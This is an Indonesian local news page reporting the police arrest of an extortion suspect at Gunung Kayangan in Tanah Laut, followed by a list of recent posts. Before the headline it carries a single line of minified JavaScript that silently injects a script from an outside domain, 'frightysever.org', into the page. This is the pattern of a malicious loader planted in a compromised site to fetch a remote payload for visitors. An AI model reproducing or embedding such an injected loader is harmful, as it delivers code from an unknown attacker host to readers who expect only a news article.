(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Resahkan Warga, Pelaku Pemerasan Gunung Kayangan Ditangkap Polres Tala


PELAIHARI, Keresahan masyarakat Kabupaten Tanah Laut (Tala) setelah viralnya postingan di media sosial tentang begal di daerah Gunung Kayangan, Pelaihari, tepatnya Jalan A.Yani Desa Sungai Jelai Kecamatan Tambang Ulang, akhirnya terjawab.

AT akhirnya di bekuk satuan Reskrim Polres Tanah Laut saat akan menjalankan aksinya di daerah Gunung Kayangan Pelaihari, Selasa (9/10). Modus yang di pakai AT dengan menakuti korban yang berhenti seorang diri di daerah Gunung Kayangan dengan mengatakan bahwa dirinya baru keluar dari penjara dalam kasus pembunuhan dan tidak mau melukai orang kecuali dengan keadaan terpaksa. Hal inilah yang membuat korban takut dan menyerahkan uang.

Waluyo salah satu korban membenarkan bahwa dirinya di ancam seperti itu dan menyerahkan semua uang yang di milikinya kepada AT.

Kapolres Tanah Laut AKBP Sentot Adi Dharmawan S.IK, MH diwakili Kasat Reskrim Polres Tanah Laut AKP Gita Suhandi Achmadi, S.IK saat Press Release, menjelaskan bahwa pelaku tersebut sempat melarikan diri dan melakukan perlawanan walaupun sudah dilakukan tembakan peringatan.

“Karena pelaku melarikan diri menggunakan sepeda motor maka pihaknya melakukan penembakan di kedua ban sepeda motor yang di kendarai sehingga pelaku jatuh dan berhasil diamankan,” ungkapnya.

Kasat Reskrim Polres Tanah Laut juga menghimbau kepada masyarakat untuk segera melakukan pelaporan jika pernah menjadi korban pelaku  sehingga bisa dengan cepat ditangani Polres Tanah Laut.

AT saat di lakukan wawancara mengungkapkan bahwa dirinya melakukan tindakan kriminal tersebut karena kebutuhan ekonomi walaupun begitu AT harus mempertanggung jawabkan perbuatannya karena melanggar Pasal 368 KUHP dengan ancaman hukuman sembilan tahun penjara.

Kapolres Tanah Laut AKBP Sentot Adi Dharmawan S.IK, MH diwakili Kasat Reskrim Polres Tanah Laut AKP Gita Suhandi Achmadi, S.IK pada kesempatan ini menghimbau kepada masyarakat yang merasa pernah menjadi korban pemerasan oleh AT untuk melapor ke Polres Tanah Laut. (rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

3 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

3 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

5 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

6 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

7 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

7 jam ago

This website uses cookies.